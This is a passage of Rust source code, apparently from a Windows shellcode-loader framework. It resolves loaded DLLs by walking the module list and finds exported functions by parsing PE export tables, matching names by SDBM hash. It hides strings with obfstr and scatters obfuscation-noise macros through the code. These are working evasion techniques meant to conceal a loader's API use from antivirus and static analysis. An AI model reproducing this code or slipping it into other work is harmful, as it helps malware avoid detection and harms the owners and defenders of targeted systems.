95 | if !base_dll_name.Buffer.is_null() {
96 | let len = base_dll_name.Length as usize / 2;
97 | let slice = std::slice::from_raw_parts(base_dll_name.Buffer, len);
98 | let dll_name_w = String::from_utf16_lossy(slice);
99 |
100 | if sdbm_hash_lower(dll_name_w.as_bytes()) == module_hash {
101 | return (*entry).DllBase as isize;
102 | }
103 | }
104 |
105 | current = (*current).Flink;
106 | }
107 |
108 | 0
109 | }
110 |
111 | pub unsafe fn load_library(dll_name: &[u8]) -> Result {
112 | use windows_sys::Win32::System::LibraryLoader::LoadLibraryA;
113 | use rsl_macros::obfuscation_noise_macro;
114 | use obfstr::obfstr;
115 |
116 | let name_str = String::from_utf8_lossy(dll_name);
117 | let name_trimmed = name_str.trim_matches(char::from(0));
118 | let module_hash = sdbm_hash_lower(name_trimmed.as_bytes());
119 |
120 | let dll = get_module_handle_custom_by_hash(module_hash);
121 | if dll != 0 {
122 | obfuscation_noise_macro!();
123 | #[cfg(feature = "debug")]
124 | crate::utils::print_message(&format!("{} {}", obfstr!("Get module handle by custom GetModuleHandle:"), name_trimmed));
125 | Ok(dll)
126 | } else {
127 | let dll = LoadLibraryA(dll_name.as_ptr() as *const u8);
128 | if dll == 0 {
129 | Err(obfstr!("LoadLibraryA failed").to_string())
130 | } else {
131 | obfuscation_noise_macro!();
132 | #[cfg(feature = "debug")]
133 | crate::utils::print_message(&format!("{} {}", obfstr!("Module loaded by LoadLibraryA:"), name_trimmed));
134 | Ok(dll)
135 | }
136 | }
137 | }
138 |
139 | #[repr(C)]
140 | struct IMAGE_DOS_HEADER {
141 | e_magic: u16,
142 | e_cblp: u16,
143 | e_cp: u16,
144 | e_crlc: u16,
145 | e_cparhdr: u16,
146 | e_minalloc: u16,
147 | e_maxalloc: u16,
148 | e_ss: u16,
149 | e_sp: u16,
150 | e_csum: u16,
151 | e_ip: u16,
152 | e_cs: u16,
153 | e_lfarlc: u16,
154 | e_ovno: u16,
155 | e_res: [u16; 4],
156 | e_oemid: u16,
157 | e_oeminfo: u16,
158 | e_res2: [u16; 10],
159 | e_lfanew: i32,
160 | }
161 |
162 | #[repr(C)]
163 | struct IMAGE_DATA_DIRECTORY {
164 | VirtualAddress: u32,
165 | Size: u32,
166 | }
167 |
168 | #[repr(C)]
169 | struct IMAGE_EXPORT_DIRECTORY {
170 | Characteristics: u32,
171 | TimeDateStamp: u32,
172 | MajorVersion: u16,
173 | MinorVersion: u16,
174 | Name: u32,
175 | Base: u32,
176 | NumberOfFunctions: u32,
177 | NumberOfNames: u32,
178 | AddressOfFunctions: u32,
179 | AddressOfNames: u32,
180 | AddressOfNameOrdinals: u32,
181 | }
182 |
183 | unsafe fn get_proc_address_custom_by_hash(module_handle: isize, proc_hash: u32) -> *const () {
184 | let base = module_handle as *const u8;
185 | let dos_header = &*(base as *const IMAGE_DOS_HEADER);
186 |
187 | if dos_header.e_magic != 0x5A4D {
188 | return std::ptr::null();
189 | }
190 |
191 | let nt_offset = dos_header.e_lfanew as usize;
192 | let nt_headers_ptr = base.add(nt_offset);
193 |
194 | let signature = *(nt_headers_ptr as *const u32);
195 | if signature != 0x00004550 {
196 | return std::ptr::null();
197 | }
198 |
199 | let optional_header_ptr = nt_headers_ptr.add(24);
200 | let magic = *(optional_header_ptr as *const u16);
201 |
202 | let export_dir_rva = if magic == 0x20B {
203 | let data_dir_ptr = optional_header_ptr.add(112) as *const IMAGE_DATA_DIRECTORY;
204 | (*data_dir_ptr).VirtualAddress
205 | } else if magic == 0x10B {
206 | let data_dir_ptr = optional_header_ptr.add(96) as *const IMAGE_DATA_DIRECTORY;
207 | (*data_dir_ptr).VirtualAddress
208 | } else {
209 | return std::ptr::null();
210 | };
211 |
212 | if export_dir_rva == 0 {
213 | return std::ptr::null();
214 | }
215 |
216 | let export_dir = &*(base.add(export_dir_rva as usize) as *const IMAGE_EXPORT_DIRECTORY);
217 | let number_of_names = export_dir.NumberOfNames;
218 | let address_of_names = base.add(export_dir.AddressOfNames as usize) as *const u32;
219 | let address_of_name_ordinals = base.add(export_dir.AddressOfNameOrdinals as usize) as *const u16;
220 | let address_of_functions = base.add(export_dir.AddressOfFunctions as usize) as *const u32;
221 |
222 | for i in 0..number_of_names {
223 | let name_rva = *address_of_names.add(i as usize);
224 | let name_ptr = base.add(name_rva as usize);
225 | let name_c_str = std::ffi::CStr::from_ptr(name_ptr as *const i8);
226 |
227 | if let Ok(name) = name_c_str.to_str() {
228 | if sdbm_hash(name.as_bytes()) == proc_hash {
229 | let ordinal = *address_of_name_ordinals.add(i as usize);
230 | let func_rva = *address_of_functions.add(ordinal as usize);
231 | return base.add(func_rva as usize) as *const ();
232 | }
233 | }
234 | }
235 |
236 | std::ptr::null()
237 | }
238 |
239 | pub unsafe fn get_proc_address(dll: isize, name: &[u8]) -> Result<*const (), String> {
240 | use windows_sys::Win32::System::LibraryLoader::GetProcAddress;
241 | use obfstr::obfstr;
242 | use rsl_macros::obfuscation_noise_macro;
243 |
244 | let name_str = String::from_utf8_lossy(name);
245 | let name_trimmed = name_str.trim_matches(char::from(0));
246 | let proc_hash = sdbm_hash(name_trimmed.as_bytes());
247 |
248 | let addr = get_proc_address_custom_by_hash(dll, proc_hash);
249 | if !addr.is_null() {
250 | obfuscation_noise_macro!();
251 | #[cfg(feature = "debug")]
252 | crate::utils::print_message(&format!("{} {}", obfstr!("Get proc address by custom GetProcAddress:"), name_trimmed));
253 | Ok(addr)
254 | } else {
255 | let addr = GetProcAddress(dll, name.as_ptr() as *const u8);
256 | if let Some(f) = addr {
257 | obfuscation_noise_macro!();
258 | #[cfg(feature = "debug")]
259 | crate::utils::print_message(&format!("{} {}", obfstr!("Get proc address by GetProcAddress:"), name_trimmed));
260 | Ok(f as *const ())
261 | } else {
262 | Err(obfstr!("GetProcAddress failed").to_string())
263 | }
264 | }
265 | }
--------------------------------------------------------------------------------